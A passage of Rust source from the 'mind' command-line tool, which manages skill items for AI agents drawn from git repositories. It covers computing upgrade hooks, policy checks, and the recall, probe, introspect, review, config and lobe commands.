has_manifest: bool,
) -> PendingUpgradeHooks {
let current = source.commit.as_deref();
let keep_curated = !has_manifest;
let mut updates: Vec<UpgradeHook> = declared
.iter()
.filter(|h| h.event == HookEvent::Update)
.map(|h| UpgradeHook {
run: h.run.clone(),
label: h.label().to_string(),
optional: h.optional,
declared_override: None,
})
.collect();
if keep_curated {
updates.extend(
source
.install_hooks
.iter()
.filter(|r| r.origin == Some(HookOrigin::Curated))
.filter(|r| r.event() == RecordedEvent::Update)
.map(|r| UpgradeHook {
run: r.command.clone(),
label: r.label().to_string(),
optional: r.optional,
declared_override: None,
}),
);
}
if !updates.is_empty() {
if let Some(cmd) = source.override_command() {
let replaced: Vec<String> = updates.iter().map(|h| h.run.clone()).collect();
updates = vec![UpgradeHook {
run: cmd.to_string(),
label: cmd.to_string(),
optional: false,
declared_override: Some(replaced.join("; ")),
}];
}
updates.retain(|h| !hook_ran_at(source, &h.run, RecordedEvent::Update, current));
return PendingUpgradeHooks {
event: RecordedEvent::Update.as_str(),
recorded_event: RecordedEvent::Update,
hooks: updates,
};
}
let declared_install: Vec<String> = declared
.iter()
.filter(|h| h.event == HookEvent::Install)
.map(|h| h.run.clone())
.collect();
PendingUpgradeHooks {
event: RecordedEvent::Install.as_str(),
recorded_event: RecordedEvent::Install,
hooks: source
.pending_install_hooks(current, &declared_install, keep_curated)
.into_iter()
.map(|r| {
let decl = declared
.iter()
.find(|h| h.event == HookEvent::Install && h.run == r.command);
let declared_override = (r.origin == Some(HookOrigin::Override)
&& !declared_install.is_empty())
.then(|| declared_install.join("; "));
UpgradeHook {
run: r.command.clone(),
label: decl
.map(|d| d.label())
.unwrap_or_else(|| r.label())
.to_string(),
optional: decl.map(|d| d.optional).unwrap_or(r.optional),
declared_override,
}
})
.collect(),
}
}
#[derive(Debug, PartialEq, Eq)]
enum UpgradeDisposition {
OutOfScope,
PolicyBlocked,
SourceNotRegistered,
Consider,
}
fn policy_identity(registry: &Registry, source_name: &str) -> String {
registry
.find(source_name)
.map(|s| s.base_identity())
.unwrap_or_else(|| source_name.to_string())
}
fn upgrade_item_disposition(
installed: &crate::manifest::InstalledItem,
filter: Option<&crate::resolve::ItemRef>,
source_scope: Option<&HashSet<String>>,
key_scope: Option<&HashSet<String>>,
policy: Option<&Policy>,
registry: &Registry,
) -> UpgradeDisposition {
if let Some(f) = filter
&& !crate::resolve::installed_matches_glob(installed, f)
{
return UpgradeDisposition::OutOfScope;
}
if let Some(scope) = source_scope
&& !scope.contains(&installed.source)
{
return UpgradeDisposition::OutOfScope;
}
if let Some(scope) = key_scope
&& !scope.contains(installed.key().as_str())
{
return UpgradeDisposition::OutOfScope;
}
if let Some(policy) = policy
&& policy.lock()
{
if registry.find(&installed.source).is_none() {
return UpgradeDisposition::SourceNotRegistered;
}
if !policy.allow_matches(&policy_identity(registry, &installed.source)) {
return UpgradeDisposition::PolicyBlocked;
}
}
UpgradeDisposition::Consider
}
struct Upgrade {
cat: CatalogItem,
old: crate::manifest::InstalledItem,
new_commit: String,
new_hash: String,
new_name: String,
}
fn print_upgrade_report(registry: &Registry, pending: &[Upgrade]) {
let out = crate::render::ctx();
let n = pending.len();
let (noun, verb) = if n == 1 {
("item", "has")
} else {
("items", "have")
};
println!("{n} {noun} {verb} upstream changes:\n");
for up in pending {
let cat_name = crate::sanitize::strip_ansi(&up.cat.name);
let cat_source = crate::sanitize::strip_ansi(&up.cat.source);
let old_name = crate::sanitize::strip_ansi(&up.old.name);
let new_name = crate::sanitize::strip_ansi(&up.new_name);
if up.new_name != up.old.name {
println!(
" {} {} {} {} rename {} -> {}",
out.warn(),
up.cat.kind,
cat_name,
out.dim(&format!("[{cat_source}]")),
old_name,
out.green(&new_name)
);
} else {
println!(
" {} {} {}",
out.warn(),
up.cat.display_key(),
out.dim(&format!("[{cat_source}]"))
);
}
println!(
" {} {} -> {}",
out.dim("hash"),
short(&up.old.hash),
short(&up.new_hash)
);
println!(
" {} {} -> {}",
out.dim("commit"),
short(&up.old.commit),
short(&up.new_commit)
);
if let Some(src) = registry.find(&up.cat.source)
&& !up.old.commit.is_empty()
&& !up.new_commit.is_empty()
&& let Some(url) = src.compare_url(&up.old.commit, &up.new_commit)
{
println!(" {} {url}", out.dim("diff"));
}
println!();
}
}
pub fn recall(
paths: &Paths,
sources: bool,
item: Option<&str>,
kind: Option<ItemKind>,
source: Option<&str>,
json: bool,
tree: bool,
) -> Result<()> {
let out = crate::render::ctx();
if (sources || item.is_some()) && (kind.is_some() || source.is_some()) {
eprintln!(
"note: --kind/--source filter the item listing; ignored with --sources or a single item"
);
}
if tree && sources {
eprintln!("note: --tree shows the dependency forest; ignored with --sources");
}
if tree && !sources {
let manifest = Manifest::load(paths)?;
let registry = Registry::load(paths)?;
let catalog = catalog::scan(paths, ®istry).unwrap_or_default();
let graph = crate::deps::installed_graph(
&catalog,
|it| {
manifest
.items
.get(it.key().as_str())
.is_some_and(|m| m.source == it.source)
},
read_item_text,
);
if json {
if let Some(item_ref) = item {
let parsed = parse_item_ref(item_ref)?;
let found = crate::resolve::resolve_installed(&manifest.items, &parsed)?;
let key = found.key();
let node = graph
.subtree_node(key.as_str())
.unwrap_or_else(|| crate::deps::DepNode::normal(found.display_key(), vec![]));
return print_json(&node);
} else {
return print_json(&graph.forest_nodes());
}
}
if let Some(item_ref) = item {
let parsed = parse_item_ref(item_ref)?;
let found = crate::resolve::resolve_installed(&manifest.items, &parsed)?;
let key = found.key();
match graph.render_subtree(key.as_str()) {
Some(subtree) => print!("{subtree}"),
None => println!("{}", found.display_key()),
}
} else {
let forest = graph.render_forest();
if forest.is_empty() {
println!("no installed items");
} else {
print!("{forest}");
}
}
return Ok(());
}
if let Some(s) = source {
crate::resolve::validate_source_selector(s)?;
}
if sources {
let registry = Registry::load(paths)?;
if json {
return print_json_envelope(®istry.sources);
}
if registry.sources.is_empty() {
println!("no sources melded; run `mind meld <owner/repo>` to add one");
return Ok(());
}
let rows = registry
.sources
.iter()
.map(|s| {
let commit = s
.commit
.as_deref()
.map(short)
.unwrap_or_else(|| "unsynced".into());
let ns = match &s.alias {
Some(a) => format!(" namespace:{a}"),
None => String::new(),
};
let hook = match s.install_hooks.len() {
0 => String::new(),
1 => " hook".to_string(),
n => format!(" hooks({n})"),
};
let origin = origin_label(s.origin);
vec![
out.bullet(),
s.name.clone(),
out.dim(&s.url),
out.dim(&format!("[{commit}{ns}{hook}{origin}]")),
s.description.clone().unwrap_or_default(),
]
})
.collect::<Vec<_>>();
out.print_rows(&rows);
return Ok(());
}
let manifest = Manifest::load(paths)?;
if let Some(item_ref) = item {
let parsed = parse_item_ref(item_ref)?;
let found = crate::resolve::resolve_installed(&manifest.items, &parsed)?;
if json {
return print_json(&found.sanitized_for_display());
}
println!("{}", out.bold(&found.display_key()));
if let Some(d) = &found.description {
println!(" {}{d}", out.dim("desc "));
}
println!(" {}{}", out.dim("source "), found.source);
println!(" {}{}", out.dim("commit "), short(&found.commit));
println!(" {}{}", out.dim("hash "), short(&found.hash));
println!(
" {}{}",
out.dim("store "),
crate::sanitize::strip_ansi(&paths.mind_home.join(&found.store).display().to_string())
);
for link in &found.links {
println!(
" {}{}",
out.dim("link "),
crate::sanitize::strip_ansi(link)
);
}
if !found.dropped_requires.is_empty() {
println!(
" {}{}",
out.dim("dropped "),
out.yellow(&format!(
"requires {} (unsatisfiable from a single-skill item link)",
found
.dropped_requires
.iter()
.map(|e| crate::sanitize::strip_ansi(e))
.collect::<Vec<_>>()
.join(", ")
))
);
}
{
let registry = Registry::load(paths)?;
let catalog = catalog::scan(paths, ®istry)?;
if let Some(cat) = catalog.iter().find(|c| {
c.kind == found.kind && c.name == found.bare_name && c.source == found.source
}) {
let hash_lag = cat.content_hash().map_or(true, |h| h != found.hash);
let rename_lag = cat.effective_name() != found.name;
if hash_lag || rename_lag {
println!(
" {}{}",
out.dim("status "),
out.yellow("out of date; run `mind upgrade`")
);
}
}
}
return Ok(());
}
let registry = Registry::load(paths)?;
let catalog = catalog::scan(paths, ®istry)?;
let filtering = kind.is_some() || source.is_some();
let cat_items = |s: &crate::source::Source| -> Vec<&CatalogItem> {
let mut v: Vec<&CatalogItem> = catalog
.iter()
.filter(|it| it.source == s.name && kind.is_none_or(|k| it.kind == k))
.collect();
v.sort_by_key(|x| x.key());
v
};
let orphans_of = |s: &crate::source::Source| -> Vec<&crate::manifest::InstalledItem> {
let mut v: Vec<&crate::manifest::InstalledItem> = manifest
.items
.values()
.filter(|m| {
m.source == s.name
&& kind.is_none_or(|k| m.kind == k)
&& !catalog.iter().any(|it| {
it.source == m.source && it.kind == m.kind && it.name == m.bare_name
})
})
.collect();
v.sort_by_key(|x| x.key());
v
};
let source_shown =
|s: &crate::source::Source| source.is_none_or(|q| source_matches_glob(&s.name, q));
if json {
let out: Vec<serde_json::Value> = registry
.sources
.iter()
.filter(|s| source_shown(s))
.map(|s| {
let items = cat_items(s);
let mut rows: Vec<serde_json::Value> = items
.iter()
.map(|it| {
let inst = manifest.items.values().find(|m| {
m.source == it.source && m.kind == it.kind && m.bare_name == it.name
});
serde_json::json!({
"key": it.display_key(),
"installed": inst.is_some(),
"commit": inst.map(|m| m.commit.clone()),
})
})
.collect();
for m in orphans_of(s) {
rows.push(serde_json::json!({
"key": m.display_key(),
"installed": true,
"commit": m.commit.clone(),
"orphaned": true,
}));
}
serde_json::json!({
"name": s.name,
"url": s.url,
"commit": s.commit,
"alias": s.alias,
"items": rows,
})
})
.collect();
return print_json_envelope(&out);
}
if registry.sources.is_empty() {
println!("no sources melded; run `mind meld <owner/repo>` to add one");
}
for s in ®istry.sources {
if !source_shown(s) {
continue;
}
let items = cat_items(s);
let orphans = orphans_of(s);
if items.is_empty() && orphans.is_empty() && filtering {
continue; }
let commit = s
.commit
.as_deref()
.map(short)
.unwrap_or_else(|| "unsynced".into());
let ns = match &s.alias {
Some(a) => format!(" namespace:{a}"),
None => String::new(),
};
let hook = match s.install_hooks.len() {
0 => String::new(),
1 => " hook".to_string(),
n => format!(" hooks({n})"),
};
let origin = origin_label(s.origin);
println!(
"{} {} {}{}",
out.bullet(),
out.bold(&s.name),
out.dim(&format!("[{commit}{ns}{hook}{origin}]")),
s.description
.as_deref()
.map(|d| format!(" {d}"))
.unwrap_or_default()
);
let mut rows: Vec<Vec<String>> = Vec::new();
for it in items {
let key = it.display_key();
let installed = manifest
.items
.values()
.find(|m| m.source == it.source && m.kind == it.kind && m.bare_name == it.name);
match installed {
Some(m) => {
let hash_lag = it.content_hash().map_or(true, |h| h != m.hash);
let rename_lag = it.effective_name() != m.name;
let lag = hash_lag || rename_lag;
let outdated = if lag {
format!(" {}", out.yellow("(outdated; run mind upgrade)"))
} else {
String::new()
};
let marker = if lag { out.stale() } else { out.ok() };
rows.push(vec![
format!(" {marker}"),
key,
format!("installed @ {}{}", out.green(&short(&m.commit)), outdated),
]);
}
None => rows.push(vec![
format!(" {}", out.available()),
out.dim(&key),
out.dim("available"),
]),
}
}
for m in orphans {
rows.push(vec![
format!(" {}", out.warn()),
m.display_key(),
format!(
"installed @ {} {}",
short(&m.commit),
out.yellow("(removed upstream)")
),
]);
}
out.print_rows(&rows);
}
if source.is_none() {
let unmanaged: Vec<crate::unmanaged::UnmanagedItem> =
crate::unmanaged::scan(paths, &manifest)?
.into_iter()
.filter(|u| kind.is_none_or(|k| u.kind == k))
.collect();
if !unmanaged.is_empty() {
println!(
"{} {}",
out.bullet(),
out.bold("unmanaged: not installed by mind")
);
let rows: Vec<Vec<String>> = unmanaged
.iter()
.map(|u| {
let where_ = u
.paths
.iter()
.map(|p| display_path(p))
.collect::<Vec<_>>()
.join(", ");
vec![
format!(" {}", out.warn()),
u.display_key(),
out.dim(&where_),
]
})
.collect();
out.print_rows(&rows);
}
}
Ok(())
}
pub fn probe(
paths: &Paths,
query: Option<&str>,
kind: Option<ItemKind>,
source: Option<&str>,
json: bool,
) -> Result<()> {
let out = crate::render::ctx();
if let Some(s) = source {
crate::resolve::validate_source_selector(s)?;
}
let registry = Registry::load(paths)?;
let items = catalog::scan(paths, ®istry)?;
let manifest = Manifest::load(paths)?;
let q = query.unwrap_or("");
let mut hits: Vec<(usize, &CatalogItem)> = items
.iter()
.enumerate()
.filter(|(_, it)| {
catalog::matches_query(it, q) && kind.is_none_or(|k| it.kind == k)
&& source.is_none_or(|s| source_matches_glob(&it.source, s))
})
.collect();
hits.sort_by_key(|(_, a)| a.key());
let installed = |it: &CatalogItem| {
manifest
.items
.values()
.any(|m| m.source == it.source && m.kind == it.kind && m.bare_name == it.name)
};
let mut unmanaged: Vec<crate::unmanaged::UnmanagedItem> = if source.is_none() {
let needle = q.to_lowercase();
crate::unmanaged::scan(paths, &manifest)?
.into_iter()
.filter(|u| kind.is_none_or(|k| u.kind == k) && u.name.to_lowercase().contains(&needle))
.collect()
} else {
Vec::new()
};
unmanaged.sort_by_key(|u| u.key());
if json {
let dep_index = crate::deps::DepIndex::new(&items);
let mut rows: Vec<ProbeRow> = hits
.iter()
.map(|(node, it)| {
let dependencies = dep_index
.direct_keys(*node, &read_item_text)
.iter()
.map(|k| crate::sanitize::strip_ansi(k))
.collect();
ProbeRow {
installed: installed(it),
kind: it.kind.as_str(),
name: it.display_effective_name(),
source: crate::sanitize::strip_ansi(&it.source),
hash: it.content_hash().ok(),
description: it.description.as_deref().map(crate::sanitize::strip_ansi),
unmanaged: false,
dependencies,
}
})
.collect();
for u in &unmanaged {
rows.push(ProbeRow {
installed: false,
kind: u.kind.as_str(),
name: crate::sanitize::strip_ansi(&u.name),
source: String::new(),
hash: None,
description: None,
unmanaged: true,
dependencies: Vec::new(),
});
}
return print_json_envelope(&rows);
}
if hits.is_empty() && unmanaged.is_empty() {
if registry.sources.is_empty() {
println!("no sources melded; run `mind meld <owner/repo>` to add one");
} else {
println!("no items match '{q}'");
}
return Ok(());
}
let catalog_graph = crate::deps::installed_graph(&items, |_| true, read_item_text);
let mut rows = Vec::new();
for (_, it) in &hits {
let cur = it.content_hash().ok();
let hash = cur.as_deref().map(short).unwrap_or_else(|| "-".into());
let m = manifest
.items
.values()
.find(|m| m.source == it.source && m.kind == it.kind && m.bare_name == it.name);
let outdated = m.is_some_and(|m| {
let hash_drift = cur.as_deref().is_none_or(|h| h != m.hash);
let rename_drift = it.effective_name() != m.name;
hash_drift || rename_drift
});
let marker = if m.is_some() {
out.green("*")
} else {
String::new()
};
let mut desc = summary(it.description.as_deref(), 60);
if outdated {
desc = format!("{desc} {}", out.yellow("(outdated; run `mind upgrade`)"));
}
rows.push(vec![
marker,
it.display_key(),
out.dim(&it.source),
out.dim(&hash),
desc,
]);
if let Some(subtree) = catalog_graph.render_subtree(it.key().as_str()) {
for line in subtree.lines().skip(1) {
rows.push(vec![
String::new(),
crate::sanitize::strip_ansi(line),
String::new(),
String::new(),
String::new(),
]);
}
}
}
for u in &unmanaged {
let where_ = u
.paths
.iter()
.map(|p| display_path(p))
.collect::<Vec<_>>()
.join(", ");
rows.push(vec![
String::new(),
u.display_key(),
out.dim("(unmanaged)"),
out.dim("-"),
out.dim(&where_),
]);
}
out.print_rows(&rows);
Ok(())
}
#[derive(Serialize)]
struct ProbeRow<'a> {
installed: bool,
kind: &'a str,
name: String,
source: String,
hash: Option<String>,
description: Option<String>,
#[serde(skip_serializing_if = "std::ops::Not::not")]
unmanaged: bool,
#[serde(skip_serializing_if = "Vec::is_empty")]
dependencies: Vec<String>,
}
#[derive(Serialize)]
struct Issue {
kind: &'static str,
target: String,
message: String,
}
pub fn introspect(paths: &Paths, fix: bool, json: bool) -> Result<()> {
let registry = Registry::load(paths)?;
let mut manifest = Manifest::load(paths)?;
let mut issues: Vec<Issue> = Vec::new();
let mut catalog: Vec<CatalogItem> = Vec::new();
for s in ®istry.sources {
if let Err(e) = catalog::scan_source(paths, s, &mut catalog) {
issues.push(Issue {
kind: "source-scan-failed",
target: s.name.clone(),
message: format!("source '{}' could not be scanned: {e}", s.name),
});
}
}
let mut repaired: Vec<String> = Vec::new();
let mut manifest_dirty = false;
let mut repaired_vanished_lobes: std::collections::HashSet<String> =
std::collections::HashSet::new();
{
let cfg_result = Config::load(paths);
if let Ok(mut cfg) = cfg_result
&& !cfg.lobes.is_empty()
{
let mut pruned = false;
for entry in &cfg.lobes {
let lobe = crate::paths::Lobe {
path: std::path::PathBuf::from(entry.path()),
kinds: entry.kinds().map(|ks| ks.to_vec()),
};
if !lobe.reachable() {
issues.push(Issue {
kind: "vanished-lobe",
target: entry.path().to_string(),
message: format!(
"lobe '{}' parent dir is gone; \
run `mind introspect --fix` to prune it",
entry.path()
),
});
if fix {
let lobe_pb = std::path::PathBuf::from(entry.path());
for item in manifest.items.values_mut() {
let before = item.links.len();
item.links
.retain(|l| !std::path::Path::new(l).starts_with(&lobe_pb));
if item.links.len() != before {
manifest_dirty = true;
}
}
pruned = true;
repaired_vanished_lobes.insert(entry.path().to_string());
}
}
}
if fix && pruned {
cfg.lobes.retain(|e| {
let lobe = crate::paths::Lobe {
path: std::path::PathBuf::from(e.path()),
kinds: e.kinds().map(|ks| ks.to_vec()),
};
lobe.reachable()
});
cfg.save(paths)?;
repaired.push("pruned vanished lobe(s) from config".to_string());
}
}
}
if !repaired_vanished_lobes.is_empty() {
issues.retain(|i| {
!(i.kind == "vanished-lobe" && repaired_vanished_lobes.contains(&i.target))
});
}
let all_lobes = paths.agent_homes()?;
let live_lobes: Vec<crate::paths::Lobe> =
all_lobes.into_iter().filter(|l| l.reachable()).collect();
for s in ®istry.sources {
if !s.clone_dir(paths).join(".git").is_dir() {
issues.push(Issue {
kind: "no-clone",
target: s.name.clone(),
message: format!("source '{}' has no clone on disk; run `mind sync`", s.name),
});
} else if s.commit.is_none() {
issues.push(Issue {
kind: "never-synced",
target: s.name.clone(),
message: format!("source '{}' was never synced; run `mind sync`", s.name),
});
}
}
for it in manifest.items.values_mut() {
let missing: Vec<String> = it
.links
.iter()
.filter(|link| std::fs::symlink_metadata(link).is_err())
.cloned()
.collect();
if !missing.is_empty() {
let n = if fix { install::relink(paths, it)? } else { 0 };
if n > 0 {
repaired.push(format!(
"{}: relinked {n} missing symlink(s)",
it.key().as_str()
));
}
for link in &missing {
if std::fs::symlink_metadata(link).is_err() {
issues.push(Issue {
kind: "missing-link",
target: it.key().into(),
message: format!("{}: symlink missing at {link}", it.key().as_str()),
});
}
}
}
let link_rel = it
.links
.iter()
.find_map(|link_str| {
let link = std::path::Path::new(link_str);
live_lobes
.iter()
.find_map(|lobe| link.strip_prefix(&lobe.path).ok())
.map(|rel| rel.to_string_lossy().into_owned())
})
.or_else(|| paths.default_link_rel(it.kind, &it.name));
if let Some(rel) = link_rel {
for lobe in &live_lobes {
if !lobe.admits(it.kind) {
continue;
}
let expected = lobe.path.join(&rel);
let expected_str = expected.to_string_lossy().into_owned();
let in_manifest = it.links.iter().any(|l| l == &expected_str);
let on_disk = std::fs::symlink_metadata(&expected).is_ok();
if in_manifest && on_disk {
continue;
}
if fix {
let (created, errs) =
install::link_into_new_lobes(paths, it, std::slice::from_ref(lobe), false);
if !created.is_empty() {
it.links.extend(
created
.into_iter()
.map(|p| p.to_string_lossy().into_owned()),
);
manifest_dirty = true;
repaired.push(format!(
"{}: linked into new lobe {}",
it.key().as_str(),
lobe.path.display()
));
}
for (p, e) in errs {
issues.push(Issue {
kind: "missing-lobe-link",
target: it.key().into(),
message: format!("{}: {e}", p.display()),
});
}
} else {
issues.push(Issue {
kind: "missing-lobe-link",
target: it.key().into(),
message: format!(
"{}: not linked into lobe {}; run `mind introspect --fix`",
it.key().as_str(),
lobe.path.display()
),
});
}
}
}
match catalog
.iter()
.find(|c| c.kind == it.kind && c.name == it.bare_name && c.source == it.source)
{
None => issues.push(Issue {
kind: "removed-upstream",
target: it.key().into(),
message: format!(
"{}: no longer present in source '{}'",
it.key().as_str(),
it.source
),
}),
Some(cat) => {
if cat.effective_name() != it.name {
issues.push(Issue {
kind: "namespace-changed",
target: it.key().into(),
message: format!(
"{}: namespace changed to '{}'; run `mind upgrade`",
it.key().as_str(),
cat.effective_name()
),
});
} else if let Ok(h) = cat.content_hash()
&& h != it.hash
{
issues.push(Issue {
kind: "drifted",
target: it.key().into(),
message: format!(
"{}: upstream changed; run `mind upgrade`",
it.key().as_str()
),
});
}
}
}
}
for it in manifest.items.values() {
if it.dropped_requires.is_empty() {
continue;
}
let source = strip_ansi(&it.source);
let listed: String = it
.dropped_requires
.iter()
.map(|e| strip_ansi(e))
.collect::<Vec<_>>()
.join(", ");
issues.push(Issue {
kind: "dropped-requires",
target: it.key().into(),
message: format!(
"{}: installed from a single-skill item link (source '{source}'), so its \
`requires {listed}` was dropped and the item it names is not installed; \
meld the whole repo to get both (`mind recall --sources` lists the melded \
sources)",
it.display_key(),
),
});
}
if fix && manifest_dirty {
manifest.save(paths)?;
}
for issue in &mut issues {
issue.target = strip_ansi(&issue.target);
issue.message = strip_ansi(&issue.message);
}
for note in &mut repaired {
*note = strip_ansi(note);
}
if json {
#[derive(Serialize)]
struct Report<'a> {
schema: u8,
issues: &'a [Issue],
sources: usize,
items: usize,
}
return print_json(&Report {
schema: 1,
issues: &issues,
sources: registry.sources.len(),
items: manifest.items.len(),
});
}
let out = crate::render::ctx();
for note in &repaired {
println!("{} {note}", out.ok());
}
for issue in &issues {
println!("{} {}", out.warn(), issue.message);
}
if issues.is_empty() {
println!(
"{} all good: {} source(s), {} item(s) installed",
out.ok(),
registry.sources.len(),
manifest.items.len()
);
} else {
println!("\n{} {} issue(s) found", out.err(), issues.len());
}
Ok(())
}
pub fn review(paths: &Paths, target: &str, alias: Option<String>, fix: bool) -> Result<()> {
let result = crate::review::review(paths, target, alias, fix)?;
crate::review::print_findings(&result.hard, &result.advisory);
let out = crate::render::ctx();
for f in &result.fixed {
println!("{} fixed {f}", out.ok());
}
if json_mode() {
return emit_review_json(&result);
}
if result.hard.is_empty() {
if result.advisory.is_empty() {
println!("{} review: no issues found", out.ok());
} else {
println!(
"{} review: {} advisory finding(s); source is publishable",
out.warn(),
result.advisory.len()
);
}
Ok(())
} else {
println!(
"\n{} review: {} hard error(s), {} advisory finding(s)",
out.err(),
result.hard.len(),
result.advisory.len()
);
Err(crate::error::MindError::ReviewFailed {
hard: result.hard.len(),
})
}
}
pub fn review_policy_dispatch(path: &std::path::Path) -> Result<()> {
if !json_mode() {
return crate::review::dispatch_policy(path);
}
let result = crate::review::review_policy(path)?;
emit_review_json(&result)
}
#[derive(Serialize)]
struct ReviewFindingJson<'a> {
kind: &'a str,
message: &'a str,
}
#[derive(Serialize)]
struct ReviewJson<'a> {
schema: u8,
action: &'static str,
outcome: &'static str,
hard: Vec<ReviewFindingJson<'a>>,
advisory: Vec<ReviewFindingJson<'a>>,
fixed: &'a [String],
}
fn review_json_document(result: &crate::review::ReviewResult) -> ReviewJson<'_> {
let outcome = if !result.hard.is_empty() {
"failed"
} else if !result.advisory.is_empty() {
"advisory"
} else {
"clean"
};
fn finding_json(f: &crate::review::Finding) -> ReviewFindingJson<'_> {
ReviewFindingJson {
kind: f.kind,
message: &f.message,
}
}
ReviewJson {
schema: 1,
action: "review",
outcome,
hard: result.hard.iter().map(finding_json).collect(),
advisory: result.advisory.iter().map(finding_json).collect(),
fixed: &result.fixed,
}
}
fn emit_review_json(result: &crate::review::ReviewResult) -> Result<()> {
let doc = review_json_document(result);
if !result.hard.is_empty() {
crate::json_stdout::record_error_details(&doc);
return Err(crate::error::MindError::ReviewFailed {
hard: result.hard.len(),
});
}
print_json(&doc)
}
pub fn config_show(paths: &Paths) -> Result<()> {
let out = crate::render::ctx();
paths.ensure_config()?;
let file = paths.config_file();
let cfg = Config::load(paths)?;
if out.json {
return print_json(&serde_json::json!({
"config_file": file.display().to_string(),
"lobes": cfg.lobes,
"default_lobe": paths.claude_home.display().to_string(),
"ssh": cfg.ssh,
}));
}
println!("{} config file: {}", out.bullet(), file.display());
if cfg.lobes.is_empty() {
println!(
" {} lobes = [] (default: {})",
out.dim("·"),
paths.claude_home.display()
);
} else {
let rendered: Vec<String> = cfg.lobes.iter().map(format_lobe).collect();
println!(" {} lobes = {}", out.dim("·"), rendered.join(", "));
}
println!(
" {} ssh = {} (prefer SSH for melded remotes)",
out.dim("·"),
cfg.ssh
);
if let Some(env) = std::env::var_os("MIND_AGENT_HOMES") {
println!(
"note: MIND_AGENT_HOMES is set and overrides lobes: {}",
env.to_string_lossy()
);
}
Ok(())
}
fn format_lobe(entry: &crate::config::LobeEntry) -> String {
match entry.kinds() {
None => entry.path().to_string(),
Some(kinds) => {
let names: Vec<&str> = kinds.iter().map(|k| k.as_str()).collect();
format!("{} [{}]", entry.path(), names.join(", "))
}
}
}
fn backfill_new_lobes(paths: &Paths, new_lobes: &[crate::paths::Lobe], force: bool) -> Result<()> {
let mut manifest = Manifest::load(paths)?;
if manifest.items.is_empty() {
return Ok(());
}
for item in manifest.items.values_mut() {
let (created, errs) = install::link_into_new_lobes(paths, item, new_lobes, force);
item.links.extend(
created
.into_iter()
.map(|p| p.to_string_lossy().into_owned()),
);
for (p, e) in errs {
crate::render::warn(format!("could not link {}: {e}", p.display()));
}
}
manifest.save(paths)?;
Ok(())
}
fn candidates_to_lobes(
candidates: &[(&'static str, crate::config::LobeEntry)],
) -> Vec<crate::paths::Lobe> {
candidates
.iter()
.map(|(_, entry)| crate::paths::Lobe {
path: std::path::PathBuf::from(entry.path()),
kinds: entry.kinds().map(|ks| ks.to_vec()),
})
.collect()
}
pub fn lobe_add_resolved(
paths: &Paths,
base: Option<&str>,
preset: Option<&str>,
subdir: Option<&str>,
snapshot: bool,
force: bool,
_yes: bool,
) -> Result<()> {
use crate::paths::{Scope, resolve_lobe};
let out = crate::render::ctx();
if let Some(policy) = Policy::load()?
&& policy.lobes_lock()
{
return Err(lobes_locked_error("add"));
}
if let Some(name) = preset {
Paths::preset_lobe(name)?; }
let (lobe, preset_opt) = resolve_lobe(base, preset, subdir)?;
let path_str = lobe.path.to_string_lossy().into_owned();
if snapshot {
let manifest = Manifest::load(paths)?;
let agent_homes = paths.agent_homes()?;
let mut copied = 0usize;
let mut frozen_keys: Vec<String> = Vec::new();
for item in manifest.items.values() {
if !lobe.admits(item.kind) {
continue;
}
let link_rel = item
.links
.iter()
.find_map(|link_str| {
let link = std::path::Path::new(link_str);
agent_homes
.iter()
.find_map(|h| link.strip_prefix(&h.path).ok())
.map(|rel| rel.to_string_lossy().into_owned())
})
.or_else(|| paths.default_link_rel(item.kind, &item.name));
let link_rel = match link_rel {
Some(r) => r,
None => continue,
};
let dst = lobe.path.join(&link_rel);
let store_src = paths.mind_home.join(&item.store);
if std::fs::symlink_metadata(&dst).is_ok() {
if !force {
return Err(MindError::LinkOccupied {
path: dst.to_string_lossy().into_owned(),
});
}
if dst.is_dir() {
std::fs::remove_dir_all(&dst).map_err(|e| MindError::io(&dst, e))?;
} else {
std::fs::remove_file(&dst).map_err(|e| MindError::io(&dst, e))?;
}
}
install::copy_recursive(&store_src, &dst)?;
copied += 1;
frozen_keys.push(item.key().display());
}
if out.json {
frozen_keys.sort();
let mut result = MutationResult::new(
"lobe-add",
&path_str,
if copied == 0 { "no-op" } else { "snapshot" },
);
result.count = Some(copied);
result.installed = frozen_keys;
return print_json(&result);
}
if copied == 0 {
println!("note: no installed items to snapshot into {path_str}");
} else {
println!("wrote {copied} frozen skill(s) to {path_str}");
let is_git = lobe.path.join(".git").exists()
|| lobe.path.parent().is_some_and(|p| p.join(".git").exists());
if !is_git {
println!(
"note: {path_str} does not appear to be a git repo; \
commit the frozen copies to version-control them"
);
}
}
return Ok(());
}
crate::paths::mkdir_p(&lobe.path)?;
paths.ensure_config()?;
let entry = crate::config::LobeEntry {
path: path_str.clone(),
kinds: lobe.kinds.clone(),
};
let mut cfg = Config::load(paths)?;
if cfg.lobes.iter().any(|e| e.path() == path_str) {
if out.json {
return print_json(&MutationResult::new("lobe-add", &path_str, "no-op"));
}
println!("{} lobe already configured: {path_str}", out.available());
return Ok(());
}
if cfg.lobes.is_empty() {
let ch = paths.claude_home.to_string_lossy().into_owned();
if ch.as_str() != path_str {
cfg.lobes.push(crate::config::LobeEntry::bare(&ch));
}
}
cfg.lobes.push(entry.clone());
cfg.save(paths)?;
let is_project_scope =
preset_opt.is_some_and(|p| p.scope == Scope::Project) || subdir.is_some();
if out.json {
backfill_new_lobes(paths, std::slice::from_ref(&lobe), force)?;
return print_json(&MutationResult::new("lobe-add", &path_str, "added"));
}
match preset_opt {
Some(p) => {
println!("{} added {} lobe {}", out.ok(), p.name, format_lobe(&entry));
}
None => {
println!("{} added lobe {}", out.ok(), format_lobe(&entry));
}
}
if is_project_scope {
let skills_dir = lobe.path.join("skills");
println!(
"note: {}/ contains symlinks into ~/.mind/store; \
add it to .gitignore so the symlinks are not committed",
skills_dir.display()
);
}
backfill_new_lobes(paths, std::slice::from_ref(&lobe), force)?;
Ok(())
}
pub fn lobe_add(paths: &Paths, path: &str, yes: bool) -> Result<()> {
lobe_add_resolved(paths, Some(path), None, None, false, false, yes)
}
pub fn lobe_list(paths: &Paths) -> Result<()> {
let out = crate::render::ctx();
paths.ensure_config()?;
let cfg = Config::load(paths)?;
if out.json {
if cfg.lobes.is_empty() {
let default = crate::config::LobeEntry::bare(paths.claude_home.display().to_string());
return print_json(&serde_json::json!({ "lobes": [default] }));
}
return print_json(&serde_json::json!({ "lobes": cfg.lobes }));
}
if cfg.lobes.is_empty() {
println!("{} (default)", paths.claude_home.display());
} else {
for e in &cfg.lobes {
println!("{}", format_lobe(e));
}
}
let lobes_locked = matches!(Policy::load()?, Some(p) if p.lobes_lock());
if show_override_note(std::env::var_os("MIND_AGENT_HOMES").is_some(), lobes_locked) {
